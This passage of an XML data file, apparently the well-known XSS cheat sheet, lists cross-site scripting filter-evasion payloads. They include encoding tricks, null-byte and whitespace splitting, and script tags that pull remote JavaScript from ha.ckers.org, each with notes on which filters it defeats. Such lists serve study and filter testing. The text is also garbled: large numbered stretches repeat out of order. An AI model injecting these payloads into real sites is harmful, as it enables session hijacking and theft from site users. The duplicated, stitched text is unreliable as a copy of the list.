<attack> 401 <name>Rename .js to .jpg</name> 402 <code><SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT></code> 403 <desc>Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector.</desc> 404 <label>Other Attacks</label> 405 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 406 </attack> 407 <attack> 408 <name>SSI</name> 409 <code><!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--></code> 410 <desc>SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues.</desc> 411 <label>Other Attacks</label> 412 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 413 </attack> 414 <attack> 415 <name>PHP</name> 416 416 <code><? echo('<SCR)'; 417 echo('IPT>alert("XSS")</SCRIPT>'); ?></code> 418 <desc>PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues.</desc> 419 <label>Other Attacks</label> 420 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 421 </attack> 422 <attack> 423 <name>JavaScript Includes</name> 424 <code><BR SIZE="&{alert('XSS')}"></code> 425 <desc>&JavaScript includes (works in Netscape 4.x).</desc> 426 <label>Other Attacks</label> 427 <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]</browser> 428 </attack> 429 <attack> 430 <name>Character Encoding Example</name> 417 echo('IPT>alert("XSS")</SCRIPT>'); ?></code> 418 <desc>PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues.</desc> 419 <label>Other Attacks</label> 420 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 421 </attack> 422 <attack> 423 <name>JavaScript Includes</name> 424 <code><BR SIZE="&{alert('XSS')}"></code> 425 <desc>&JavaScript includes (works in Netscape 4.x).</desc> 426 <label>Other Attacks</label> 427 <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]</browser> 428 </attack> 429 <attack> 430 <name>Character Encoding Example</name> 431 431 <code>< 432 432 %3C … … 498 498 \x3C 499 499 \u003c 500 \u003C</code> 501 <desc>All of the possible combinations of the character "<" in HTML and JavaScript. Most of these won't render, but many of them can get rendered in certain circumstances (standards are great, aren't they?).</desc> 502 <label>Character Encoding Attacks</label> 503 <browser>Browser support:</browser> 504 </attack> 505 <attack> 506 <name>Case Insensitive</name> 507 <code><IMG SRC=JaVaScRiPt:alert('XSS')></code> 508 <desc>Case insensitive XSS attack vector.</desc> 509 <label>Character Encoding Attacks</label> 510 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 511 </attack> 512 <attack> 513 <name>HTML Entities</name> 514 <code><IMG SRC=javascript:alert(&quot;XSS&quot;)></code> 515 <desc>HTML entities (the semicolons are required for this to work).</desc> 516 <label>Character Encoding Attacks</label> 517 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 518 </attack> 519 <attack> 520 <name>Grave Accents</name> 521 <code><IMG SRC=`javascript:alert("RSnake says, 'XSS'")`></code> 522 <desc>Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents).</desc> 523 <label>Character Encoding Attacks</label> 524 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 525 </attack> 526 <attack> 527 <name>Image w/CharCode</name> 528 <code><IMG SRC=javascript:alert(String.fromCharCode(88,83,83))></code> 529 <desc>If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need.</desc> 530 <label>Character Encoding Attacks</label> 531 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 532 </attack> 533 <attack> 534 <name>UTF-8 Unicode Encoding</name> 535 <code><IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;></code> 536 <desc>UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).</desc> 537 <label>Character Encoding Attacks</label> 538 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 539 </attack> 540 <attack> 541 <name>Long UTF-8 Unicode w/out Semicolons</name> 542 <code><IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041></code> 543 <desc>Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I've seen this in the wild).</desc> 544 <label>Character Encoding Attacks</label> 545 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 546 </attack> 547 <attack> 548 <name>DIV w/Unicode</name> 549 <code><DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"></code> 550 <desc>DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail.</desc> 551 <label>Character Encoding Attacks</label> 552 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 553 </attack> 554 <attack> 555 <name>Hex Encoding w/out Semicolons</name> 556 <code><IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29></code> 557 <desc>Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).</desc> 558 <label>Character Encoding Attacks</label> 559 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 560 </attack> 561 <attack> 562 <name>UTF-7 Encoding</name> 563 <code><HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-</code> 564 <desc>UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google's custom 404 script.</desc> 565 <label>Character Encoding Attacks</label> 566 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 567 </attack> 568 <attack> 569 <name>Escaping JavaScript escapes</name> 570 <code>\";alert('XSS');//</code> 571 <desc>Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire.</desc> 572 <label>Character Encoding Attacks</label> 573 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 574 </attack> 575 <attack> 576 <name>End title tag</name> 577 <code></TITLE><SCRIPT>alert("XSS");</SCRIPT></code> 578 <desc>This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack.</desc> 579 <label>Character Encoding Attacks</label> 580 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 581 </attack> 582 <attack> 583 <name>STYLE w/broken up JavaScript</name> 584 <code><STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE></code> 585 <desc>STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts).</desc> 586 <label>Character Encoding Attacks</label> 587 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 588 </attack> 589 <attack> 590 <name>Embedded Tab</name> 591 <code><IMG SRC="jav	ascript:alert('XSS');"></code> 592 <desc>Embedded tab to break up the cross site scripting attack.</desc> 593 <label>Embedded Character Attacks</label> 594 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 595 </attack> 596 <attack> 597 <name>Embedded Encoded Tab</name> 598 <code><IMG SRC="jav&#x09;ascript:alert('XSS');"></code> 599 <desc>Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below.</desc> 600 <label>Embedded Character Attacks</label> 601 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 602 </attack> 603 <attack> 604 <name>Embedded Newline</name> 605 <code><IMG SRC="jav&#x0A;ascript:alert('XSS');"></code> 606 <desc>Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work.</desc> 607 <label>Embedded Character Attacks</label> 608 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 609 </attack> 610 <attack> 611 <name>Embedded Carriage Return</name> 612 <code><IMG SRC="jav&#x0D;ascript:alert('XSS');"></code> 613 <desc>Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters).</desc> 614 <label>Embedded Character Attacks</label> 615 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 616 </attack> 617 <attack> 618 <name>Multiline w/Carriage Returns</name> 619 <code><IMG
SRC
=
"
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
'
X
S
S
'
)
"
>
</code> 620 <desc>Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector).</desc> 621 <label>Embedded Character Attacks</label> 622 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 623 </attack> 624 <attack> 625 <name>Null Chars 1</name> 626 <code>perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out</code> 627 <desc>Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example.</desc> 628 <label>Embedded Character Attacks</label> 629 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 630 </attack> 631 <attack> 632 <name>Null Chars 2</name> 633 <code>perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out</code> 634 <desc>Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date</desc> 635 <label>Embedded Character Attacks</label> 636 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 637 </attack> 638 <attack> 639 <name>Spaces/Meta Chars</name> 640 <code><IMG SRC=" &#14; javascript:alert('XSS');"></code> 641 <desc>Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" - which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal).</desc> 642 <label>Embedded Character Attacks</label> 643 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 644 </attack> 645 <attack> 646 <name>Non-Alpha/Non-Digit</name> 647 <code><SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> 648 <desc>Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s"</desc> 649 <label>Embedded Character Attacks</label> 650 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 651 </attack> 652 <attack> 653 <name>Non-Alpha/Non-Digit Part 2</name> 654 <code><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")></code> 655 <desc>Non-alpha-non-digit XSS part 2. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here.</desc> 656 <label>Embedded Character Attacks</label> 657 <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 658 </attack> 659 <attack> 660 <name>No Closing Script Tag</name> 661 <code><SCRIPT SRC=http://ha.ckers.org/xss.js</code> 662 <desc>In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally.</desc> 663 <label>Embedded Character Attacks</label> 664 <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 665 </attack> 666 <attack> 667 <name>Protocol resolution in script tags</name> 668 <code><SCRIPT SRC=//ha.ckers.org/.j></code> 669 <desc>This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag.</desc> 670 <label>Embedded Character Attacks</label> 671 <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 672 </attack> 673 <attack> 674 <name>Half-Open HTML/JavaScript</name> 675 <code><IMG SRC="javascript:alert('XSS')"</code> 500 \u003C</code> 501 <desc>All of the possible combinations of the character "<" in HTML and JavaScript. Most of these won't render, but many of them can get rendered in certain circumstances (standards are great, aren't they?).</desc> 502 <label>Character Encoding Attacks</label> 503 <browser>Browser support:</browser> 504 </attack> 505 <attack> 506 <name>Case Insensitive</name> 507 <code><IMG SRC=JaVaScRiPt:alert('XSS')></code> 508 <desc>Case insensitive XSS attack vector.</desc> 509 <label>Character Encoding Attacks</label> 510 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 511 </attack> 512 <attack> 513 <name>HTML Entities</name> 514 <code><IMG SRC=javascript:alert(&quot;XSS&quot;)></code> 515 <desc>HTML entities (the semicolons are required for this to work).</desc> 516 <label>Character Encoding Attacks</label> 517 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 518 </attack> 519 <attack> 520 <name>Grave Accents</name> 521 <code><IMG SRC=`javascript:alert("RSnake says, 'XSS'")`></code> 522 <desc>Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents).</desc> 523 <label>Character Encoding Attacks</label> 524 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 525 </attack> 526 <attack> 527 <name>Image w/CharCode</name> 528 <code><IMG SRC=javascript:alert(String.fromCharCode(88,83,83))></code> 529 <desc>If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need.</desc> 530 <label>Character Encoding Attacks</label> 531 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 532 </attack> 533 <attack> 534 <name>UTF-8 Unicode Encoding</name> 535 <code><IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;></code> 536 <desc>UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).</desc> 537 <label>Character Encoding Attacks</label> 538 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 539 </attack> 540 <attack> 541 <name>Long UTF-8 Unicode w/out Semicolons</name> 542 <code><IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041></code> 543 <desc>Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I've seen this in the wild).</desc> 544 <label>Character Encoding Attacks</label> 545 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 546 </attack> 547 <attack> 548 <name>DIV w/Unicode</name> 549 <code><DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"></code> 550 <desc>DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail.</desc> 551 <label>Character Encoding Attacks</label> 552 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 553 </attack> 554 <attack> 555 <name>Hex Encoding w/out Semicolons</name> 556 <code><IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29></code> 557 <desc>Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).</desc> 558 <label>Character Encoding Attacks</label> 559 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 560 </attack> 561 <attack> 562 <name>UTF-7 Encoding</name> 563 <code><HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-</code> 564 <desc>UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google's custom 404 script.</desc> 565 <label>Character Encoding Attacks</label> 566 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 567 </attack> 568 <attack> 569 <name>Escaping JavaScript escapes</name> 570 <code>\";alert('XSS');//</code> 571 <desc>Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire.</desc> 572 <label>Character Encoding Attacks</label> 573 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 574 </attack> 575 <attack> 576 <name>End title tag</name> 577 <code></TITLE><SCRIPT>alert("XSS");</SCRIPT></code> 578 <desc>This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack.</desc> 579 <label>Character Encoding Attacks</label> 580 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 581 </attack> 582 <attack> 583 <name>STYLE w/broken up JavaScript</name> 584 <code><STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE></code> 585 <desc>STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts).</desc> 586 <label>Character Encoding Attacks</label> 587 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 588 </attack> 589 <attack> 590 <name>Embedded Tab</name> 591 <code><IMG SRC="jav	ascript:alert('XSS');"></code> 592 <desc>Embedded tab to break up the cross site scripting attack.</desc> 593 <label>Embedded Character Attacks</label> 594 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 595 </attack> 596 <attack> 597 <name>Embedded Encoded Tab</name> 598 <code><IMG SRC="jav&#x09;ascript:alert('XSS');"></code> 599 <desc>Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below.</desc> 600 <label>Embedded Character Attacks</label> 601 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 602 </attack> 603 <attack> 604 <name>Embedded Newline</name> 605 <code><IMG SRC="jav&#x0A;ascript:alert('XSS');"></code> 606 <desc>Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work.</desc> 607 <label>Embedded Character Attacks</label> 608 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 609 </attack> 610 <attack> 611 <name>Embedded Carriage Return</name> 612 <code><IMG SRC="jav&#x0D;ascript:alert('XSS');"></code> 613 <desc>Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters).</desc> 614 <label>Embedded Character Attacks</label> 615 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 616 </attack> 617 <attack> 618 <name>Multiline w/Carriage Returns</name> 619 <code><IMG
SRC
=
"
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
'
X
S
S
'
)
"
>
</code> 620 <desc>Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector).</desc> 621 <label>Embedded Character Attacks</label> 622 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 623 </attack> 624 <attack> 625 <name>Null Chars 1</name> 626 <code>perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out</code> 627 <desc>Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example.</desc> 628 <label>Embedded Character Attacks</label> 629 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 630 </attack> 631 <attack> 632 <name>Null Chars 2</name> 633 <code>perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out</code> 634 <desc>Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date</desc> 635 <label>Embedded Character Attacks</label> 636 